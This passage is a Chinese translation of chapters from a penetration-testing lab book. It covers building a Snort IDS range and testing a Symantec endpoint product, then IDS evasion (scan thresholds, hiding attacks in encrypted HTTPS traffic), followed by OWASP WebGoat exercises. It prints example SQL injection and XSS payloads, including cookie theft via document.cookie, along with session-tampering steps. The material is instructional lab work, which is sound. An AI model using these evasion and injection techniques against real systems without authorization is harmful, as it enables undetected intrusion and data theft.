为高级渗透测试构建虚拟渗透实验室-二-

114 阅读1小时+

为高级渗透测试构建虚拟渗透实验室(二)

原文:annas-archive.org/md5/5AF1EAA721331A5C7E465DF911DFDC6C

译者:飞龙

协议:CC BY-NC-SA 4.0

第八章:设计 IDS/IPS 范围

在本章中,我们将学习设计和构建各种 IDS/IPS 功能到我们的网络范围的技术。我们还将研究典型主机和端点安全配置的部署。我们将讨论以下主题:

  • 部署基于网络的 IDS

  • 实施基于主机的 IPS 和端点安全

  • 使用虚拟交换机

  • 规避

本章将为我们提供一种方法论,用于当我们遇到多种不同的监控设备时使用。在本章中,我们将研究规避,即避免被检测到的技术。虽然这是一个热门话题,作为专业的安全测试人员,现实情况是很少被要求;而且,它取决于很多因素,不是一件容易准备的事情。成功很大程度上取决于入侵检测系统(IDS)传感器的类型和位置以及其配置。有可能会要求您规避检测作为工作范围的一部分,这就是为什么我们在本书中涵盖这一内容。

部署基于网络的 IDS

正如我们在第六章中讨论的那样,当我们部署基于网络的入侵检测系统(IDS)时,我们在网络的每个段上放置一个传感器。传感器由放置在混杂模式的网络卡组成,这会关闭 MAC 地址过滤。所有的流量都会通过堆栈传递到监视传感器的应用程序。我们还讨论了在交换机上部署传感器的挑战,因为流量不会发送到所有端口,这可能会对向传感器提供数据构成挑战。

对于基于网络的 IDS,IDS 的功能是在数据包级别处理网络流量,然后分析其中可能表明攻击的特征或模式。在考虑这一点时,请记住网络传感器正在捕获数据包;那么在任何时候有多少数据包在网络中传输?这是基于网络的 IDS 的挑战之一(如何处理网络速度不断增加的流量)。然而,我们正在超前。我们要做的第一件事是设计我们的架构,以便我们能够充分代表我们可能在客户网络上看到的典型 IDS。我们将使用以下图表:

部署基于网络的 IDS

我们的架构

我们可以在每个点构建架构并测试传感器,但实际上这样做没有意义。这是因为我们有幸使用虚拟环境,比如 VMware。因此,一旦我们决定要测试什么,我们只需将网络适配器更改为连接到该交换机。这也是我们做出选择的另一个原因。

还有一件事要注意的是,我们希望有一个受害者来攻击并查看 IDS 的响应,但更好的方法,特别是在规避方面,是将攻击流量直接引导到网络传感器。这将使我们有能力看到攻击是否能够在不被检测到的情况下通过传感器。我们将在规避部分中进行这项工作。

接下来,我们将启动三台机器并验证我们是否已经启动并运行了 IDS。在执行此操作之前,您应该使用网络安全工具包、Kali 机器和受害者验证您的设置,并检查它们是否都连接到 VMnet2 开关。您可能会想知道为什么我们不使用 VMnet8 开关,因为它可以为我们提供互联网连接和 VMware 的其他内置功能。这是一个有效的问题,我们选择另一个开关的最大原因是我们希望确保没有任何偶发或异常的流量会给传感器带来问题。VMnet8 开关与主机机器共享适配器配置,并且通常会传输数据包,可能会干扰我们的结果。一旦机器启动,我们将启动 Snort 传感器。登录到网络安全工具包虚拟机,然后点击活动并选择 Firefox 图标。

当 Firefox 网络浏览器启动时,如果用户名和密码详情没有填写,请输入所需信息,然后点击确定。这将使您进入网络安全工具包 Web 用户界面的主页。然后,转到安全 | 入侵检测 | Snort IDS,如下截图所示:

部署基于网络的 IDS

一旦 Snort 页面打开,您将想要查看您暂停或关闭虚拟机时留下的机器状态。如果您没有看到列出的状态传感器,则必须为传感器配置接口。即使我们之前解释过这一点,我们将再次进行操作,以便您不必寻找它。如果您没有看到列出的传感器,则需要向下滚动并选择适当的接口。对于本书,我们使用 eth1 接口,因此接下来的示例将基于此。如果您已将 VMnet2 开关设置为另一个接口,则必须选择该接口而不是我们使用的接口。

一旦您选择了适当接口的单选按钮,然后点击设置/启动 Snort来启动接口上的传感器。

注意

您很可能需要点击两次按钮才能使传感器真正启动。

一旦传感器成功启动,您应该看到 Snort 传感器处于运行状态,如下截图所示:

部署基于网络的 IDS

显示 Snort 传感器处于运行状态的屏幕(裁剪的文本不重要)

一旦进程处于我们想要的状态,我们将验证我们的规则是否已打开。点击规则并验证是否选择了扫描规则。如下截图所示:

部署基于网络的 IDS

验证屏幕是否选择了扫描规则(裁剪的文本不重要)

注意

如果您更改了规则,则必须重新加载传感器。重新加载按钮位于规则按钮的右侧。

现在我们的规则已经达到我们想要的效果,我们准备验证我们的传感器是否正在运行。我们之前已经介绍了这些步骤,但我们不会让您自己去找。我们必须打开一个终端窗口并输入以下命令:

cd /etc/snort_eth0
snort –A –c snort.conf

一旦您启动了 Snort,打开另一个窗口并使用非法标志组合扫描来验证传感器是否正常工作。作为提醒,在第六章中,我们使用了圣诞树扫描,创建外部攻击架构,您可以使用这个或包含非法标志(如 FIN 或 NULL 扫描)的任何扫描。

除了 Snort 的易于设置之外,我们还喜欢网络安全工具包的另一点是我们有出色的 Snort 工具。我们将查看Base Analysis Search EngineBASE)工具。要启动 BASE,您需要导航到安全 | 入侵检测 | BASE。示例如下截图所示:

部署基于网络的 IDS

当 BASE 工具启动时,将要求您进行身份验证。凭据应该已经为您输入,如果没有,则必须输入适当的凭据以访问 GUI。完成后,单击确定,如下截图所示:

部署基于网络的 IDS

BASE GUI 允许我们在图形显示中记录传感器检测到的警报。返回到您的 Kali 机器并再次运行圣诞树扫描。作为提醒,您可以使用X选项配置扫描。扫描完成后,返回到BASE显示并刷新显示,您现在应该看到检测到的 TCP 流量,如下截图所示:

部署基于网络的 IDS

BASE 工具的一个好处是您可以从警报中检查的信息。我们现在将这样做。单击百分比数字,这将打开另一个窗口,其中列出了传感器检测到的警报。示例如下截图所示:

部署基于网络的 IDS

接下来要做的是检查警报。单击警报时,将看到有关警报的其他信息。示例如下截图所示:

部署基于网络的 IDS

如前面的截图所示,可以查看数据包的组成,包括封装数据的显示。这显示了Nmap工具设置 FIN、PUSH 和 URGENT 标志以表示扫描。一些工具在执行扫描时会设置所有六个标志。

Meta部分和触发签名下有两个链接。单击 Snort 链接,将显示触发签名的规则。示例如下截图所示:

部署基于网络的 IDS

前面的截图显示了您可以检查的信息,以发现有关签名的其他详细信息,以及触发事件的影响。此外,您还可以了解有关误报率的信息。这很重要,因为许多实施 IDS 的管理员会关闭生成大量误报警报的签名。事实上,您可能还记得,我们不得不打开扫描规则,这是因为它有很高的误报率。现在我们将检查 Nmap XMAS 扫描的误报率。向下滚动并查看信息。示例如下截图所示:

部署基于网络的 IDS

现在我们有一个 IDS 范围,可以用来观察我们不同的工具和技术的反应。在这之前,我们将清除机器中的任何警报,为此,您需要转到查询结果屏幕的底部,然后导航到操作 | 删除警报。完成此操作后,单击整个查询按钮以删除警报,然后通过单击主页返回到主屏幕。我们将使用 Nikto Web 扫描工具来查看 Snort 传感器在使用扫描程序时的反应。我们将扫描 Snort 传感器网络上的网络安全工具包 Web 服务器。要在 Kali Linux 机器上进行扫描,打开终端窗口并输入nikto –ssl –h <传感器的 IP 地址>,如下截图所示:

部署基于网络的 IDS

ssl 选项用于强制检查 安全套接字层 (SSL),因为在默认配置中,网络安全工具包在端口 80 没有 web 服务器;只有 HTTPS 端口 443 可以访问。扫描完成后,您会注意到有几个发现。要查看这些发现,您需要向后滚动并寻找它们。与大多数工具一样,有更好的方法,我们现在将探讨这一点。

在终端窗口中,我们将使用工具的输出功能将其写入文件。输入 nikto –ssl –h <传感器的 IP 地址> -o file.html,如下面的截图所示:

部署基于网络的 IDS

这将工具发现的输出写入了一个 HTML 文件。通过导航到 应用程序 | 互联网 | Iceweasel Web 浏览器 来打开 Iceweasel。当浏览器打开时,打开您创建的文件并查看结果。您会看到输出结果更容易阅读,如下面的截图所示:

部署基于网络的 IDS

现在是时候返回到我们的 Snort 传感器和 BASE 显示,看看是否有任何警报。我们进行了许多网络扫描,想要看看检测到了什么。返回到您的网络安全工具包,刷新 BASE 显示并查看信息。以下是示例截图:

部署基于网络的 IDS

正如前面的截图所示,我们没有警报!为什么呢?这是试错过程的一部分。我们知道在配置 Snort 传感器时加载了特定规则,因为我们过去必须启用一些规则。因此,从这里开始的过程将是尝试启用更多规则并查看发生了什么。还有很大的可能性存在其他问题,但只要我们发送非法的标志组合数据包进去,我们就会收到某种警报,这告诉我们传感器正在工作。在这种情况下,即使您打开了所有规则,也不会有警报。我们将在规避部分得到答案。

实施基于主机的 IDS 和端点安全

一个站点可以配置和部署他们的基于主机的保护或者说他们的端点安全的不同方式。作为测试人员,在实施这些措施时需要进行实验。这些产品大多是商业产品,您必须从供应商那里获取试用版本或请求概念实施。无论哪种方式,您在网络范围内部署这些产品的能力将在很大程度上取决于您的客户拥有什么。这是在您进行非侵入式目标搜索的早期阶段获取的信息。然而,通常在会议上确定工作范围时或在允许并且在范围内的测试的社会工程阶段提供给您。

我们将查看 Symantec 的一些热门端点保护软件。正如我们在前一段中所说,您可能会遇到其他软件,但在这些检测解决方案的大多数中,都设置了一些警报或报警阈值。作为测试人员,这就是我们需要确定的。因此,这将在规避部分进行讨论。

我们将要查看的 Symantec 版本是较旧的版本(版本 11.0),但它将满足我们的目的。这里的意图是,当您准备进行一项工作时,您将在实验室环境中尽可能多地创建。一旦您安装了基于主机的 IDS 或 IPS,您将查看其配置,以了解工具用于检测和/或阻止事件的内容。

使用 Symantec 工具,我们查看工具配置中的选项以获取这些信息。以下是仪表板的示例截图:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,有三个主要的保护区域。我们目前只启用了一个,这是我们首先要看的。我们将导航到选项 | 更改设置 | 入侵防范,以打开菜单来更改阻止疑似攻击流量的设置。以下是此示例的示例:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,我们有许多数值可以配置和自定义,这是我们作为测试人员面临的挑战之一。如果管理员已经调整或更改了设置为不同的值,我们可能无法逃避检测,但我们现在还没有进入逃避部分。我们已经在这里更改了默认值。

接下来我们需要做的是看看我们是否能够检测到潜在的攻击并实际上阻止 IP 地址。我们可以使用 Nmap,但我们更喜欢使用更具攻击性的工具,这就是 Nikto 的用武之地。我们将把它指向 Symantec 机器的 IP 地址,看看会发生什么。以下是结果的示例:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,攻击已被检测到并且 IP 地址现在被阻止;这就是为什么我们将阻止时间改为 60 秒,这样 Nikto 扫描就不会花太长时间。扫描完成后,我们可以在 Symantec 工具中查看检测历史和相应的阻止。所有这些功能对用户来说非常好用,但对攻击者也很有利。以下是 Nikto 扫描的日志结果示例:

实施基于主机的 IDS 和端点安全性

正如前面的屏幕截图所示,入侵防范工具已经检测到并随后阻止了来自该工具的攻击尝试。问题在于,正如你们中的许多人可能知道的那样,IP 阻止并不总是一个好主意,因为我们可以伪造 IP 地址,然后用户将被阻止。这就是为什么 IP 阻止通常只针对可能导致重大损失的东西进行配置的原因之一。

Symantec 工具还有其他几个部分,我们这里不会全部涵盖。但是,我们将看一下一个与网络无关但实际上与主机相关的部分。我们现在要看的功能是防病毒和防间谍软件保护。我们要做的第一件事是点击修复所有按钮,这将打开所有的保护措施,如下一张屏幕截图所示:

实施基于主机的 IDS 和端点安全性

屏幕显示所有的保护措施(裁剪的文本不重要)

我们现在已经启用了所有的端点保护;因此,任何我们尝试放入机器上被视为威胁的程序都将被保护机制标记。为了证明这一点,我们将使用 Jamie Butler 于 2005 年编写的 FU rootkit 来展示 Microsoft 使用 Intel 架构环的弱点。这个问题的详细解释超出了本书的范围,但是对于想了解更多的人,可以获取他与 Greg Hoglund 合著的书籍Rootkits: Subverting the Windows Kernel, Addison Wessely

当我们将 FU rootkit 的可执行文件复制到受保护的机器上时,它立即被检测为威胁,如下一张屏幕截图所示:

实施基于主机的 IDS 和端点安全性

正如前面的截图所示,它已被检测并分类为Hacktool.Rootkit,因为被视为威胁,所以被删除了。我们可以通过单击防病毒和防间谍软件保护来查看检测的更多细节。导航到选项 | 查看日志 | 风险日志以查看已检测到的风险。以下是一个示例截图:

实施基于主机的 IDS 和端点安全性

正如前面的截图所示,检测是在两个文件上进行的,可执行文件是一个,msdirectx.sys是加载和用于访问内核内存的驱动程序。FU rootkit 是一个先驱,因为它是第一个实现Direct Kernel Object MemoryDKOM)操纵的。

那么,这对我们的范围架构有什么影响呢?嗯,正如已经提到的,你将会遇到各种各样的产品。所以,在大多数情况下,我们等待并查看客户可用的产品,然后开始研究获取副本并进行实验。正如你们中的许多人可能知道的那样,关键在于我们因文件的签名而被检测到。因此,我们将使用工具来更改该签名;然而,这是逃避,所以我们将在本章后面进行讨论。

使用虚拟交换机

在构建我们的范围时,我们必须考虑我们拥有的交换机类型,以及我们是否需要配置Switch Port AnalyzerSPAN)或Test Access PointTAP)。像大多数事情一样,每种方法都有优缺点。您可以在网站www.networktaps.com上了解更多信息。以下是网站上的比较示例截图:

使用虚拟交换机

如果您正在使用物理交换机构建您的范围,那么这是您必须考虑的事情。但是,如果您使用虚拟交换机,那么我们就没有这个挑战。我们已经看过一次,但我们想从入侵检测的角度来看。为此,我们将运行我们的扫描,但这次不是直接在传感器上。在继续之前,您需要 Kali Linux 机器、OWASP 和 Network Security Toolkit。启动这三台虚拟机器后,我们将继续。

一旦机器上线,我们将从我们的 Kali Linux 机器对 OWASP 机器进行扫描,并跨 VMnet2 交换机运行 Network Security Toolkit 上的 Snort 传感器。设置如下图所示:

使用虚拟交换机

接下来,您需要在 Network Security Toolkit 机器上启动 Snort 传感器。我们在本章前面介绍了这些步骤。

注意

在正确的接口上启动传感器,选择连接到 VMnet2 的接口。在本书中,我们使用 eth1 接口。

传感器运行后,启动 BASE GUI 并清除当前列出的所有警报。我们接下来要做的是从 Kali Linux 机器对 OWASP 机器进行扫描。我们可以使用任何工具,但是为了演示,我们将使用之前使用过的 Nikto 工具。我们的 OWASP 机器的目标 IP 地址是10.2.0.132,这是我们在工具中将使用的地址。在 Kali Linux 终端窗口中,输入nikto –h 10.2.0.132来扫描 OWASP 机器。返回到 BASE 显示并查看攻击是否被检测到。

以下是示例截图:

使用虚拟交换机

显示 BASE 显示的屏幕(裁剪的文本不重要)

正如前面的截图所示,流量已经生成了一些警报。接下来我们要做的是查看传感器生成的警报。点击100%,这将显示传感器报告的警报列表。由于我们使用 Nikto 工具,我们正在寻找与 Web 流量相关的警报。以下是一个示例:

使用虚拟交换机

现在我们有了警报,所以选择其中一个并进一步检查。在本章早些时候我们检查警报时,我们看到了有关生成警报的数据包的附加信息。然而,我们没有任何有关数据包有效载荷的信息。这是因为没有有效载荷可以捕获。由于这些数据包是攻击模式,我们有更好的机会找到有效载荷。以下是目录遍历攻击的有效载荷示例:

使用虚拟交换机

你可以看到,虚拟交换机上的传感器不需要 SPAN 或镜像来查看网络流量,就像物理交换机一样,所以我们准备继续下一节。

规避

在这一部分,我们将讨论规避的主题。这来自于经常提到的**永远不要被抓住!**的概念。虽然这在戏剧中很有趣,但现实是渗透测试很少会要求这样做。此外,这高度依赖于管理员如何配置他们的环境。没有保证我们会通过,但我们可以进行实验,并至少找到一些可能在我们的工作范围内起作用的东西。

确定阈值

我们想要关注的是所有这些工具都必须有某种阈值,并且在达到这个阈值时会发出警报。这就是我们可以找到规避检测的方法。如果我们重新审视我们的 Snort 传感器并清除所有现有的警报,我们可以尝试一些不同的事情,看看何时被探测到,何时没有被探测到。

注意

要记住的一件事是,任何带有非法标志组合的扫描都会立即被探测到,所以如果规避是你工作范围的一部分,要避免这些。

对于 Snort 传感器,阈值似乎在五个关闭的端口左右,也就是说,收到 RST 数据包会让你被探测到;因此,只要你在任何时候扫描的端口数保持在五个以下,你就不会被探测到。

压力测试

我们可能需要对我们的 IDS 传感器进行的另一种测试是压力测试。通过这种技术,我们产生大量噪音,看攻击是否能被噪音掩盖,或者传感器是否会被压倒而停止工作。在 Kali 发行版中,有许多工具可以做到这一点,欢迎你去尝试。你可以通过导航到应用程序 | Kali Linux | 压力测试来找到它们,并查看那里的程序。我们将把这个测试留给你做家庭作业。你会发现 IDS 工具已经存在了很长时间,不会被这些攻击淹没。话虽如此,总会有机会,这就是为什么我们要涵盖它的原因。

Shell 代码混淆

在检测利用程序时,被检测到的数据是 shell 代码;此外,还有该代码的签名。由于这是一个标准,工具很容易检测到它。我们现在来看看这个。你需要你的 Kioptrix 机器,因为我们要利用它。我们已经讨论了许多这样做的方法,对于我们的目的,我们将使用 metasploit 工具来利用它。当我们试图规避检测时,有许多参数可以操纵,不幸的是,没有保证。如果你使用 Armitage 工具,那么你可以选择显示高级选项来查看我们可以使用的额外参数。以下是一个示例:

Shell 代码混淆

我们将首先使用默认设置进行漏洞利用,看看 BASE 工具检测到了什么。再次强调,逃避没有保证,所以这是一个实验和记录你的发现的问题。漏洞利用尝试的示例如下截图所示:

Shell code obfuscation

如前面的截图所示,我们并没有成功,所以现在我们将修改载荷,看看我们是否有更好的运气。这是一个过程:你尝试不同的方法,找出什么有效,什么无效。这就是为什么很少会要求逃避的好事。

在高级选项中,我们可以修改许多参数,但在撰写本书时,我们无法成功地使用这些工具逃避检测。如果你想了解更多,你可以收集更多信息,并查看一个针对反病毒逃避编写的脚本:healthtalkie.com/discussion/script-for-av-evasion-uz3mb.php

关于逃避,我们还有最后一件事要尝试。有时,尝试不同的端口可能更容易,因为你知道默认情况下 IDS 不会检查的端口。这种遗漏是正常的,因为流量会产生太多的误报。

在本章的前面,我们使用 Nikto 工具对网络安全工具包进行了扫描,并没有发现任何问题。现在我们将更仔细地研究一下。我们对 NST 进行的扫描是针对端口 443 和协议HTTPS的。为什么没有被检测到可能有多个原因。首先,我们将测试是否没有被检测到是因为攻击是针对端口 443 的,实际上这是加密流量,IDS 对此是盲目的。我们有几种选择来完成这个测试。我们可以在 NST 虚拟机上启动 web 服务器,或者在 OWASP 机器的服务器上激活 HTTPS 协议。我们将使用 NST 机器;我们必须导航到配置文件并取消注释 HTTP 行以在机器上运行它。在终端窗口中,输入gvim /etc/httpd/conf/httpd.conf来打开配置文件。

滚动到服务器配置部分,并删除#以取消注释Listen 80,如下截图所示:

Shell code obfuscation

编辑完成后,通过导航到文件 | 保存-退出退出编辑器。接下来你需要做的是重新启动 web 服务器。在终端窗口中,输入service httpd restart来重新启动服务。服务重新启动后,我们将使用 Nikto 对 NST 机器进行扫描。对于第一次扫描,我们将使用 SSL 选项,但在此之前,请确保清除 BASE 中的所有查询。返回到你的 Kali 机器并扫描 NST 机器的 IP 地址。在我们的例子中,机器地址是 10.2.0.144,这就是我们将要使用的。在终端窗口中,输入nikto -ssl -h 10.2.0.144。扫描完成后,返回到你的 BASE 并查看扫描是否被检测到。你被检测到了吗?答案应该是否定的!为什么呢?好吧,在回答这个问题之前,和所有的良好测试一样,我们将证明它。你的 BASE 显示中不应该有任何警报。返回到你的 Kali 机器并再次运行扫描,不要强制它通过 SSL。在终端窗口中,输入nikto -h 10.2.0.144。扫描完成后,返回到 BASE 显示并查看扫描是否被检测到。仪表板的示例如下截图所示:

Shell code obfuscation

显示 BASE 显示的屏幕(裁剪的文本不重要)

正如前面的屏幕截图所示,我们可以将攻击定向到 SSL 端口 443,但传感器没有设置警报。这是相当常见的,但管理员总是有可能打开规则来检查 HTTPS 流量。然而,这确实给了我们一个规避检测的潜在方法。再次强调,您的成功将有所不同,但如果这是工作范围的一部分,这些技术中的一些可能会帮助您规避客户的监控能力。这种技术也是隧道技术的过程,我们通过另一个端口进行协议隧道,比如 SSH 端口,这样 IDS 可能不会检查它,因为通常是加密的。

总结

在本章中,我们讨论了在我们的范围架构中构建 IDS/IPS 能力的要求。我们讨论了如何部署基于网络的 IDS 以及在每个网络段上放置传感器的配置。我们部署了 Snort IDS,并在部署后检测到了许多攻击。

在网络 IDS 之后,我们研究了基于主机的保护以及赛门铁克提供的一种端点保护方法。我们尝试使用 Web 攻击工具 Nikto 攻击机器,并在检测到攻击后触发软件阻止 IP 地址。我们通过尝试将恶意文件传输到机器中来完成端点保护部分,赛门铁克工具成功检测到并在文件传输到机器之前将其删除。

最后,我们讨论了逃避检测的话题,结束了这一章节。我们解释说,在专业测试范围内很少会被要求进行逃避检测,但也有可能会被要求。正如本章所讨论的,这方面并没有保证,因为我们的成功取决于设备管理员的配置。话虽如此,当我们使用包含加密数据的端口时,成功率最高。此外,我们在未被发现的情况下扫描了网络安全工具包虚拟机的 443 端口,但当我们在 80 端口运行攻击时被发现了。

这结束了本章。您现在已经在您的范围环境中部署了 IDS/IPS,并且已经了解了规避检测的方法。在下一章中,我们将研究如何将 Web 服务器和 Web 应用程序添加到我们的范围架构中。

第九章:评估 Web 服务器和 Web 应用程序

在本章中,您将学习评估我们可能遇到的绝大多数环境中的 Web 服务器和 Web 应用程序的技术。我们将讨论以下主题:

  • 分析 OWASP 十大攻击

  • 识别 Web 应用程序防火墙

  • 渗透 Web 应用程序防火墙

  • 工具

本章将为我们提供有关最受欢迎的攻击向量之一的信息,这种攻击向量几乎可以在任何环境中访问。几乎所有组织都需要一定形式的在线存在。因此,我们很可能会有一个 Web 服务器,可能还有一些 Web 应用程序,我们可以尝试利用它们来破坏客户系统和/或网络。

分析 OWASP 十大攻击

开放式网络应用安全项目(OWASP)组是我们可以利用的最佳资源之一,不仅可以收集有关不同类型的攻击信息,还可以了解防御这些攻击和安全编码指南的方法。在测试模式下,我们将集中关注攻击。关于这一点的一个很好的参考是 OWASP 十大攻击。您可以在www.owasp.org/index.php/Category:OWASP_Top_Ten_Project下载最新版本。

OWASP 组还有一个名为 WebGoat 的优秀教程。您可以在www.owasp.org/index.php/OWASP/Training/OWASP_WebGoat_Project找到有关教程的更多信息。

选择 OWASP Broken Web Application 虚拟机的一个优势是附带的工具。一旦启动了 OWASP 虚拟机,将为我们需要连接的接口分配一个地址。在本书的示例中,接口被分配了 IP 地址 10.2.0.132,因此所有示例将使用此地址。

一旦机器启动,我们将从 Web 浏览器访问它。因此,我们打开我们选择的浏览器,并输入http://10.1.0.132以打开机器的主页。

注意

您将需要一个连接到主机的 VMnet2 交换机,才能从主机上的浏览器访问虚拟机。如果使用虚拟机,则只要在 VMnet2 交换机上就可以了。

分析 OWASP 十大攻击

用户登录后显示的页面

现在,我们准备使用此项目中包含的功能来查看特定的攻击。

注入漏洞

注入漏洞已经成为 OWASP 十大攻击的多个版本中的头号攻击,并且仍然保持领先地位。最流行的注入类型是臭名昭著的 SQL 注入。尽管我们警告开发人员并提供了许多资源,以便他们能够设计安全的应用程序,我们仍然看到这种攻击仍然成功。在注入攻击中,这只是众多方法中的一个。我们可以进行 HTML、XML 和 LDAP 注入。所有这些攻击的主要组成部分都是让应用程序执行意外的操作,或者在未经授权的情况下访问数据。

我们将使用 WebGoat 工具来了解这是如何完成的。在 OWASP Broken Web Application 首页,单击OWASP WebGoat以打开登录页面。在登录页面中,输入用户名guest和密码guest以进入教程。教程首页的示例如下截图所示:

注入漏洞

点击Start WebGoat来启动工具。这将带你进入工具内包含的可用培训课程的界面。你可以看到有大量的可用课程,因此,花时间学习这些课程将是有益的。由于我们正在讨论注入缺陷,你会在菜单的左侧看到相关内容。点击这个并展开该主题下的不同课程。一个例子如下截图所示:

Injection flaws

主题下的不同课程(裁剪的文本不重要)

正如前面的截图所示,我们可以处理各种各样的缺陷,主要的是与 SQL 注入有关的。我们将查看列表中的第五个,所以点击String SQL Injection来打开课程的第一页并查看描述。一个例子如下截图所示:

Injection flaws

正如前面的截图所示,并且在查看教程时你会看到,有提示解决方案视频可以帮助你完成课程。你们中的许多人可能知道,测试 SQL 注入最简单的方法是输入一个单引号(')字符,看看我们是否能通过前端到后端数据库并产生错误消息。我们现在尝试一下。输入一个单引号字符作为名称,然后点击Go!。这将提交给应用程序。结果的例子如下截图所示:

Injection flaws

那么,前面截图中的结果告诉我们什么?它告诉我们,我们现在有证据表明我们输入的字符通过了前端应用程序,因为它被放入了一个查询中!如果前端捕捉到它,那么它就不会成为查询的一部分。我们看到的错误是因为这不是一个有效的 SQL 查询。现在的问题是输入一个会评估为真的字符串。我们在 SQL 注入攻击中最常用的字符串是' OR 1=1 --,当数据输入没有得到适当的净化时,可以倾倒数据库的内容。当我们使用这个常见的攻击字符串时返回的结果如下截图所示:

Injection flaws

正如前面的截图所示,我们已经成功地倾倒了整个数据库的内容。输出还告诉我们,课程已经切换到了一个参数化查询,让我们再试一次。你可以尝试这个,但我们提前告诉你,一旦查询切换到基于参数的条件,攻击将不再起作用。这里有很多 SQL 注入的课程,鼓励你去探索。我们将继续下一个攻击项目。

破损的身份验证和会话管理

当一个应用程序被设计时,设计者必须保护用于身份验证的令牌和会话密钥。不幸的是,这个领域经常被忽视或者从安全的角度实施得很差,因此,为我们提供了一个很好的攻击向量。这种攻击通常涉及捕获身份验证令牌的某种形式,然后破解令牌或使用令牌来假扮某人的身份。在我们的 WebGoat 工具中,我们有两个部分来学习这些攻击,它们是身份验证缺陷和会话管理缺陷。我们将看看身份验证缺陷。在 WebGoat 教程中,屏幕的左侧,导航到Authentication Flaws | Basic Authentication来打开课程。一个例子如下截图所示:

Broken authentication and session management

当您阅读课程信息时,显然我们需要拦截应用程序和客户端的流量,以查看其编码方式。最常见的方法是使用代理,有许多代理可供选择。我们将使用一个简单的插件,它是 Firefox 的插件Tamper Data

一旦您将插件添加到浏览器中,我们就准备好从服务器捕获流量了。在您的 Firefox 浏览器中,导航到工具 | Tamper Data以打开工具。示例如下图所示:

破损的身份验证和会话管理

要开始使用代理捕获数据,请点击开始 Tamper。接下来要做的是返回 WebGoat 课程并点击提交按钮将查询发送到应用程序。当工具接收到请求时,您将收到一条消息,如果收到多条消息,请确保您选择要篡改的消息具有 OWASP 虚拟机的 URL。所需请求的示例如下图所示:

破损的身份验证和会话管理

当您审查拦截的信息时,您会看到我们有CookieAuthorization字段,我们将集中在这两个字段上。我们还将专注于Authorization字段中的值。这是 Base64 编码的,有许多方法可以解码该值。可以在base64-decode.com找到一个网站,它将获取值并为您解码。解码后的值为guest:guest

现在我们有了完成课程所需的信息;至少看起来是这样。我们将返回 WebGoat 课程并输入身份验证字段的名称,即Authorization,以及编码字符串的值为guest:guest,然后点击提交将值加载到应用程序中。预期结果的示例如下图所示:

破损的身份验证和会话管理

正如之前的屏幕截图所示,我们已经成功。但我们还有更多工作要做;这不仅仅是一个步骤的课程。现在我们需要尝试让应用程序接受我们的登录为basic:basic。为了实现这一点,我们需要破坏数据并强制应用程序在破坏后进行身份验证。当您按照课程的指示操作时,您会看到它说要选择基本身份验证课程以继续挑战。当您这样做时,您将看到Tamper Data中的页面:点击Tamper以打开页面以便修改。关键在于我们需要破坏CookieAuthorization这两个字段,删除每个字段中的一个字符。一旦应用程序检测到破坏,它将提示再次输入凭据,当它这样做时,输入basic作为用户名和basic作为密码,如下图所示:

破损的身份验证和会话管理

输入凭据后,点击确定将数据提交给应用程序。检查拦截的查询,您会注意到您的密码现在是basic,并且它是 Base64 编码的。我们现在已经将basic作为用户进行了身份验证,但我们还没有完成。

我们必须说服 WebGoat 工具我们是用户basic,我们已经在服务器端完成了这一点。所以,现在我们需要说服 WebGoat 工具。最简单的方法是破坏JSESSIONID,如下图所示:

破损的身份验证和会话管理

如前面的截图所示,你需要输入novalidsession来破坏会话并强制 WebGoat 再次请求凭据,这将验证你为用户basic。一旦发生这种情况,你点击基本身份验证链接完成课程。示例如下截图:

破碎的身份验证和会话管理

点击基本身份验证链接后的屏幕(裁剪的文本不重要)

这就是 Web 应用程序测试的过程;有很多不同的编写代码的方式,你必须分析和解释代码在做什么。在这节课中,我们首先必须拦截查询,以确定我们需要与之交互的参数的名称。一旦我们做到了这一点,我们必须先破坏服务器端,然后再破坏客户端,才能成功完成课程的要求。这里有很多课程,你练习得越多,就越能够识别认证和会话管理的特征。

跨站脚本攻击

另一个经受住时间考验的攻击是跨站脚本攻击XSS)。这是一个应用程序接受不受信任的数据并在没有适当验证的情况下发送到 Web 浏览器的过程。有两种验证类型,反射和存储,它们已经被非常成功地使用。

在使用 WebGoat 工具之前,我们将看一下我们可以在 OWASP 机器上使用的另一种方法:

  1. 在机器的主页面上,向下滚动直到看到测试工具的应用程序

  2. 点击OWASP-ZAP-WAVE打开我们想要测试的应用程序。

  3. 导航到活动漏洞 | 跨站脚本攻击 | 简单 XSS,在表单参数中打开一个表单供我们测试 XSS。

  4. 在表单字段中输入<script>alert("Hello")</script>并点击提交进行 XSS 测试。示例如下截图:跨站脚本攻击

现在我们已经成功进行了 XSS 攻击,我们将把注意力转向 WebGoat 工具中的课程:

  1. 登录到 WebGoat 教程。

  2. 一旦你开始了程序,点击跨站脚本攻击链接并展开它。我们将要学习的课程的示例如下截图:跨站脚本攻击

我们将从阶段 1开始。点击它并阅读课程的指示。正如指示所述,我们将对 Jerry 执行 XSS 攻击。为了做到这一点,我们必须将信息存储到 Tom 的记录中,这样当 Jerry 访问它时,他就会陷入 XSS 陷阱。

注意

我们只显示弹出框,以说明一旦发现弱点,你可以做更多的事情。一旦找到向量,就可以使用许多 Java 调用。

按照指示以 Tom 的身份登录应用程序:

  1. 一旦你以 Tom 的身份登录,你导航到查看个人资料 | 编辑个人资料来访问 Tom 的个人资料。

  2. 一旦你访问了它,你将在地址字段中输入脚本标记。在街道字段中,输入<script>alert("Hello")</script>,然后点击上传个人资料上传个人资料。

  3. 现在你将注销并以 Jerry 的身份重新登录。

  4. 一旦你以 Jerry 的身份登录,你将导航到Tom Cat | 查看个人资料,看看你是否成功。示例如下截图:跨站脚本攻击

我们不会执行阶段 2,因为它会改变代码以防止攻击,而我们是进攻方,所以我们不打算进行任何防御。接下来,我们将使用以下步骤执行阶段 3课程:

  1. 点击阶段 3:存储型 XSS 再审以打开登录页面,然后通过阅读指示开始下一个阶段。

  2. 我们将首先以David的身份登录,然后导航到Bruce | View Profile记录,并验证David是否是 XSS 的受害者。示例如下截图所示:跨站脚本攻击

正如前面的截图所示,我们不仅仅是弹出一个窗口,而是通过在警报框内使用document.cookie来访问了 cookie。

我们现在准备进入第 5 阶段。再次强调,我们不会执行第 4 阶段,因为这涉及到防御措施的设置,而我们现在不打算这样做。但是,你可以与其他阶段一起工作。只需记住你需要使用开发者包。

第 5 阶段,我们将按照以下方式使用反射型 XSS:

